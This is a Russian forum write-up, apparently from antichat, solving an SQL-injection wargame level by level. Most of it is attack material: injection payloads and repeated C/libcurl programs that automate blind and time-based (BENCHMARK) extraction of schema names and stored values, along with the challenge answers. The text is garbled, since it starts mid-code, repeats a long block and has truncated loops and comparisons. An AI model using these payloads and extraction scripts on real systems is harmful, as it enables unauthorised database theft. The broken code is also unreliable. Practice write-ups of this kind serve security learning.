ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i,i1;
char curChar;

for(i=0;i

[CODE]
select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK (5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше.

Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).
first

second

morkovka

wtf

genius
Имена в итогу вышли читаемыее и осмысленные, я на верном пути. Осталось узнать что хранится в каждом из них. Звучит не слишком сложно.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum,char *tableName)
{
char url[420], *ret;

int cmax=255;

while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne+where+ascii%%28substri ng%%28%s%%2C%d%%2C1%%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",tableName,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i,i1;
char curChar;
char *tableList[]={"first","second","morkovka","wtf","genius"};

for(i=0;i

[CODE]
select if((select count(*) from level10.davidblayne where ascii(substring(first,1,1))=105)=1,BENCHMARK(50000 00,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше.

Содержимое базы следующее:
55

44

wantamorkovka

wtf?

yes
Что из них ответ - догадайтесь сами. Квест пройден.

BabaDook
29.06.2015, 18:21
Сам прошёл, да ?

frank
29.06.2015, 18:39
↑ (https://antichat.live/posts/3863524/)
Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.

Все просто, вводим запрос как он будет:


select pass from users where id=12;

Ответ: QwErTy

Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#

В итоге пучится :


select * from users where id=2 or login='' or id=9;#'

# - начало комментария, все что за ней - отпросится.

Ответ: secreto

То же самое: ' or id=13;#


select * from users where id=2 or login='' or id=13;#' limit 1

Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда

Ответ: iwanttogo4

Нужно отбросить лимит и приклеить еще один запрос:


select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1

Ответ: dg

То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:


select * from users where id=2 or login='' union select *,1 from secret;#' limit 1

Ответ: thisisapass232

Нужно решить проблему фильтрации кавычки:


select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1

Ответ: ivarywantlevel7

Хорошо, что вы не знаете как я решал задачу сначала...

Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).

Пробелы успешно меняются на /**/.

Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).


select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1

Ответ: level8please

Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...

Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.

Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):


0 union select * from users where login='fast' and LENGTH(pass)>3

нашло одного такого, пароль явно длиннее трех символов


0 union select * from users where login='fast' and LENGTH(pass)
.SpoilerTarget" type="button">Spoiler: Код

[CODE]
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char *ret;
char url[255];
char symb=0;
int i,i1;
char res=0;

printf("Password charcode: 0x");
for(i=1;i
Все основано на следующем запросе (привожу только мою часть):

[CODE]
0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57

Ответ: 9levlpass

Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.

.SpoilerTarget" type="button">Spoiler

[CODE]
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

int getLoginLength(int id)
{
char url[255], *ret, state;
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id);

ret=NULL;
curlPOST(url,NULL,&ret);
state=*(ret+394);
free(ret);

if(state!='1')return -1;

int cmax=20;//будем считать что нет логинов длиннее 20

while(1)
{
sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29
В итоге их логины:
48

131

125

1104

182

51

195

5

136

121

127
Ответ: 2225

Слепой запрос без вывода, time-based injection.

Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).


select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,E NCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[255], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%% 29+from+information_schema.schemata%%29%%3D%d%%2CB ENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB% %27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%2 9%%2Cnull%%29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}

system("pause");
}


Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.

Сначала находим длину.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[420], *ret, state;
int i;
double time[50];

int dbNameLen=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+length%%28 schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000% %2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Ph ineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("Db name have %d characters\n",dbNameLen);
break;
}
else
printf("we have mote than %d characters\n",dbNameLen);
++dbNameLen;
}

system("pause");
}



select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Все основано на этом запросе выше.

Длина имени базы равна 7 символов.

Теперь имя. По буквам (из за неточности пришлось увеличить задержку).

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum)
{
char url[420], *ret;

int cmax=255;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.schemata+where+schema_n ame+!%%3D%%27information_schema%%27+and+ascii%%28S UBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i;

for(i=0;i

База называется "level10". Какой сюрприз. Мог бы и догадатся.

[CODE]
select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(10 00000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

На этом запросе основывался поиск имени базы

Теперь найдем количество таблиц в базе.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[255], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%2850 00000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doc tor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29% %3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d table\n",colcount);
break;
}
else
printf("we have mote than %d tables\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE ('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Все на основе запроса выше.

Таблица одна. Теперь ее имя.

Как всегда, сначала его длинна.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[320], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+++where+table_sc hema%%3D%%27level10%%27+and+length%%28table_name%% 29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28 %%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf +Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d symbols\n",colcount);
break;
}
else
printf("we have mote than %d symbols\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DR OP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше.

Длина имени таблицы - 11 символов.

А вот теперь ее имя.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum)
{
char url[420], *ret;

int cmax=255;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.tables+where+table_sche ma%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28ta ble_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DR OP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel %%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i;

for(i=0;i

[CODE]
select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(500 0000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Имя таблицы: davidblayne

Вдруг это уже ответ? Нет, нас еще помучают.

Теперь количество строк ней (хоть это не сложно):

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[255], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK %%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C% %27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnul l%%29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>870.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('D ROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.

Теперь количество столбцов.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

void main()
{
char url[320], *ret, state;
int i;
double time[50];

int colcount=0;

while(1)
{
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27%%29%%3D%d%%2CBENCHMARK%%2 85000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27 Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%% 29%%3B",colcount);
ret=NULL;

unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);
if( ((double)end_time - (double)start_time)>2500.0)
{
printf("we have %d columns\n",colcount);
break;
}
else
printf("we have mote than %d columns\n",colcount);
++colcount;
}

system("pause");
}



select if((select count(*) from information_schema.columns where table_name='davidblayne')=2,BENCHMARK(5000000,ENCO DE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше

Тут 5 столбцов. Теперь их имена.

Долго думал как сделать, оказалось что если взять ASCII от несуществующего символа - вернется 0. Длинна не нужна.

У меня ушло много времени чтобы придумать как имена столцов, ведь для этого надо получить имя одного определенного столбца, потом я наткнулся на ordinal_position и мои проблемы решились.

.SpoilerTarget" type="button">Spoiler


#include
#include
#include
#include

static int writer(char *data, size_t size, size_t nmemb, char **buffer)
{
int result = size * nmemb;
if(*buffer)
{
*buffer=(char*)realloc(*buffer,(strlen(*buffer)+re sult+1)*sizeof(char));
strcat(*buffer,data);
}
else
{
*buffer=(char*)calloc(result+1,sizeof(char));
strcpy(*buffer,data);
}
return result;
}

int curlPOST(char* URL,char* postData,char **buffer)
{
CURL *curl;
CURLcode performReturn;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();

if(curl)
{

curl_easy_setopt(curl, CURLOPT_URL, URL);
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
if(postData)
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);

performReturn = curl_easy_perform(curl);

if(performReturn != CURLE_OK)
{
printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
return 0;
}
}
else
return 0;

curl_global_cleanup();

return 1;
}

char findChar(int charNum,int columnNum)
{
char url[420], *ret;

int cmax=255;

while(1)
{
if(cmax==0)return 0;
sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%% 29+from+information_schema.columns+where+table_nam e%%3D%%27davidblayne%%27+and+ordinal_position%%3D% d+and+ascii%%28substring%%28column_name%%2C%d%%2C1 %%29%%29>%d%%29%%3D1%%2CBENCHMARK%%285000000%%2CENCODE%%28% %27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+ Steel%%27%%29%%29%%2Cnull%%29%%3B",columnNum,charNum,cmax);//>
ret=NULL;
unsigned int start_time = clock();
curlPOST(url,NULL,&ret);
unsigned int end_time = clock();
free(ret);

if( ((double)end_time - (double)start_time)2500.0) return cmax; else ++cmax;

}

return -1;
}

void main()
{

int i,i1;
char curChar;

for(i=0;i

[CODE]
select if((select count(*) from information_schema.columns where table_name='davidblayne' and ordinal_position=1 and ascii(substring(column_name,1,1))=105)=1,BENCHMARK (5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);

Основано на запросе выше.

Имена столбцов следующие (из за проблем с соединением или ошибками в коде пришлось запускать несколько раз, иногда путало символы).
first

second

morkovka

